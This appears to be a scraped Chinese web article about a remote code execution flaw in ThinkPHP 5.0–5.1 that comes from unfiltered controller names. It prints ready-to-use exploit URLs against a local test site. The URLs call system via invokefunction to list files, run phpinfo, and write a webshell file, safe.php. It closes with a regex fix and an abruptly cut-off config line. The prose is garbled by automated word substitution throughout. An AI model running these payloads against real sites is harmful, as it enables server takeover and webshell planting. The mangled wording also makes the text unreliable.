1. 程式人生 > >thinkphp 最新版本5.0到5.1高危漏洞爆發可直接提權getshell

thinkphp 最新版本5.0到5.1高危漏洞爆發可直接提權getshell

THINKPHP毛病修復,官方於剋日,對現有的thinkphp5.0到5.1全部版本舉行了升級,以及補丁更新,這次更新重要是舉行了一些毛病修復,最嚴峻的就是之前存在的SQL注入毛病,以及長途程式碼實行查詢體系的毛病都舉行了修復,官方本以為沒有題目了,但是在現實的寧靜檢測當中發明,照舊存在題目,照舊可以長途程式碼舉行注入,插入非法字元,提交到辦事器後端中去。

關於這次發明的oday毛病,我們來看下官方之前更新的程式碼檔案是怎麼樣的,更新的步伐檔案路徑是library資料夾下的think目次裡的app.php,如下圖:

毛病產生的緣故原由就在於這個控制器這裡,整個thinkphp框架裡的功效對控制器沒有舉行嚴酷的寧靜過濾於查抄,使打擊者可以偽造惡意引數舉行逼迫插入,最基礎的緣故原由就是正則的表示式寫的欠好,導致可以繞過。

在controller獲取控制器後,直接舉行賦值,但是並沒有對控制器的名舉行嚴酷的檢測,導致可以利用斜槓等特別標記來長途程式碼注入。

我們來搭建一下網站的情況,apache+mysql+Linux centos體系,搭建好的測試情況地點是http://127.0.01/anquan ,我們可以直接在index.php背面偽造打擊引數,示比方下:

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l

直接get方法提交到網站中去,可以直接查詢到網站當前根目次的全部檔案,截圖如下:

通過該毛病也可以直接長途程式碼注入實行phpinfo語句,查詢當前的php版本,路徑,擴充套件,以及php.ini存放的地點,都可以看得到,結構如下程式碼即可。

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

有些人大概會問了,既然都可以phpinfo,查詢目次檔案,可不可以getshell寫網站木馬檔案到網站裡呢? 答案是可以的,我們測試的時間是以一句話木馬程式碼的寫入到safe.php檔案裡。

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%27%20>%20safe.php

關於這次thinkphp的毛病使用以及闡發到此就竣事了,該毛病屬於高危毛病,危害嚴峻性較大,許多升級更新補丁的網站都市受到打擊,乃至有些網站會被掛馬,那麼該怎樣修復thinkphp的毛病呢?更換之前的正規矩表示式即可,還必要對網站的目次舉行許可權擺設,防備天生php檔案,對網站上的毛病舉行修復,大概是對網站寧靜防護引數舉行重新設定,使他切合其時的網站情況。假如不懂怎樣修復網站毛病,也可以找專業的網站寧靜公司來處置懲罰,海內如Sinesafe和綠盟、啟明星辰等寧靜公司比力專業.

針對付這個環境,我們要對其library/think/App.php程式碼裡的正規矩表示式舉行變動,if (!preg_match('/^[A-Za-z][\w\.]*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }

解決方法:

'url_route_on'           => true,